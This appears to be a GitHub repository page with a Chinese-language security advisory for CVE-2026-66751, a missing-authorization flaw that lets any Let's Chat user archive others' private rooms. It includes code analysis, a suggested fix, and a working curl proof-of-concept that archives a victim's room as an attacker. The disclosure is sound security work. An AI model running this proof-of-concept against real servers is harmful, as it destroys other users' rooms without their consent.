theopaid/CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

GitHub: theopaid/CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

记录 Let's Chat 应用中因 DELETE /rooms/:room 缺少授权检查导致任意用户可删除他人私密房间的安全漏洞(CVE-2026-66751)的披露仓库。

Stars: 0 | Forks: 0

# 安全通告:访问控制不足导致未授权删除房间 (Let's Chat) **分配的 CVE ID:** CVE-2026-66751 ## 概述 `DELETE /rooms/:room` 除了要求登录外,没有执行任何授权检查。任何账户都可以归档服务器上的任何房间,包括该账户无权读取、加入或修改的私密和受密码保护的房间。 归档是 Let's Chat 删除房间的方式。房间会从房间列表中消失,直接查找会返回 404,并且向其发送消息或上传文件会被拒绝。应用程序中没有任何代码路径可以逆转此操作。 ## 受影响版本 仓库 URL:https://github.com/sdelements/lets-chat 受影响版本从 0.3.0(commit `5b5f46f`,2015 年 1 月 2 日,“Rooms are archived, instead of deleted”)起,至最终版本 0.4.8。目前没有修复版本。 私密和受密码保护的房间是在 0.4.0 中引入的,因此攻击者销毁其无法查看内容的房间的情况适用于 0.4.0 及之后的版本。缺失检查本身则可追溯至 0.3.0。 已在 0.4.8(commit `617207f`)以及 `docker.io/sdelements/lets-chat:latest` (0.4.7) 上确认。 ## 分类 CWE-862:缺少授权 (Missing Authorization)。 CVSS 4.0 基础分数 5.3(中危) `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N` ## 威胁模型 攻击者需要一个普通用户账户以及对 HTTP 端口的网络访问权限。他们不需要拥有该房间、属于该房间、知道其密码或拥有任何提升的权限角色。 默认情况下启用自行注册功能(`defaults.yml` 中的 `auth.local.enableRegistration`)。选择目标没有任何成本。根据设计,`GET /rooms` 会向每个用户列出受密码保护的房间,因此攻击者可以读取完整的房间 ID 列表,并依次归档每一个房间。 ## 技术细节 该路由只需要登录并解析出房间,仅此而已。 `app/controllers/rooms.js:99-109`: ``` app.route('/rooms/:room') .all(middlewares.requireLogin, middlewares.roomRoute) .get(function(req) { req.io.route('rooms:get'); }) .put(function(req) { req.io.route('rooms:update'); }) .delete(function(req) { req.io.route('rooms:archive'); }); ``` 该处理器仅将房间 ID 传递给下游。它从不检查 `req.user`。 `app/controllers/rooms.js:217-232`: ``` archive: function(req, res) { var roomId = req.param('room') || req.param('id'); core.rooms.archive(roomId, function(err, room) { if (err) { console.log(err); return res.sendStatus(400); } if (!room) { return res.sendStatus(404); } res.sendStatus(204); }); }, ``` manager 不接收任何用户参数,因此它原则上也无法检查所有权。 `app/core/rooms.js:123-137`: ``` RoomManager.prototype.archive = function(roomId, cb) { var Room = mongoose.model('Room'); Room.findById(roomId, function(err, room) { if (err) { console.error(err); return cb(err); } if (!room) { return cb('Room does not exist.'); } room.archived = true; ``` 相邻的更新路径确实检查了所有权,这使得这看起来更像是一个疏忽,而不是刻意为之。`app/core/rooms.js:89-91`: ``` if(room.private && !room.owner.equals(options.user.id)) { return cb('Only owner can change private room.'); } ``` 客户端也遵循这种更严格的逻辑。`media/js/views/room.js:28-31` 决定了谁能看到编辑控件,而“归档房间”按钮就位于此控件打开的编辑模态框内: ``` var iAmOwner = this.model.get('owner') === this.client.user.id; var iCanEdit = iAmOwner || !this.model.get('hasPassword'); this.model.set('iAmOwner', iAmOwner); this.model.set('iCanEdit', iCanEdit); ``` 对于受密码保护的房间,非所有者永远看不到该按钮。此限制仅存在于浏览器端。 ## 复现 要求设置 `rooms.private: true`(或 `LCB_ROOMS_PRIVATE=true`),以便可以创建私密房间。缺失检查本身适用于所有房间,无论该设置如何。 ``` BASE=http://localhost:5000 # 两个不相关的账号。 for U in victim attacker; do curl -s -X POST $BASE/account/register \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$U\",\"email\":\"$U@example.com\", \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\", \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}" curl -s -c $U.txt -X POST $BASE/account/login \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}" done # 受害者创建一个私密的、受密码保护的 room。注意返回的 id。 curl -s -b victim.txt -X POST $BASE/rooms \ -H 'Content-Type: application/json' \ -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}' RID= # 攻击者无法读取它,也无法修改它。 curl -s -b attacker.txt "$BASE/messages?room=$RID" curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \ -H 'Content-Type: application/json' -d '{"name":"x"}' # 攻击者无论如何都会将其归档。 curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID # 所有者无法再访问他们自己的 room。 curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID ``` ## 影响 请求发出后,对于所有用户,该房间都会从 `GET /rooms` 中消失,`GET /rooms/:id` 返回 404,并且 `messages:create` 和 `files:create` 会拒绝相关操作(`app/core/messages.js:28-30`,`app/core/files.js:55-57`)。`app/` 中没有任何地方会将 `archived` 设置回 `false`,因此恢复需要直接的数据库访问权限。 ## 修复建议 将调用者传递给 manager 并在归档前检查所有权,与现有的 `update` 方法保持一致。在 `app/controllers/rooms.js:217` 中: ``` archive: function(req, res) { var roomId = req.param('room') || req.param('id'); core.rooms.archive(roomId, { user: req.user }, function(err, room) { ``` 并在 `app/core/rooms.js:123` 中,在 `if (!room)` 检查之后: ``` if (!room.owner.equals(options.user.id)) { return cb('Only the owner can archive this room.'); } ```
标签:CVE, Let's Chat, MITM代理, Web安全, 数字签名, 权限控制缺陷, 漏洞报告, 蓝队分析, 请求拦截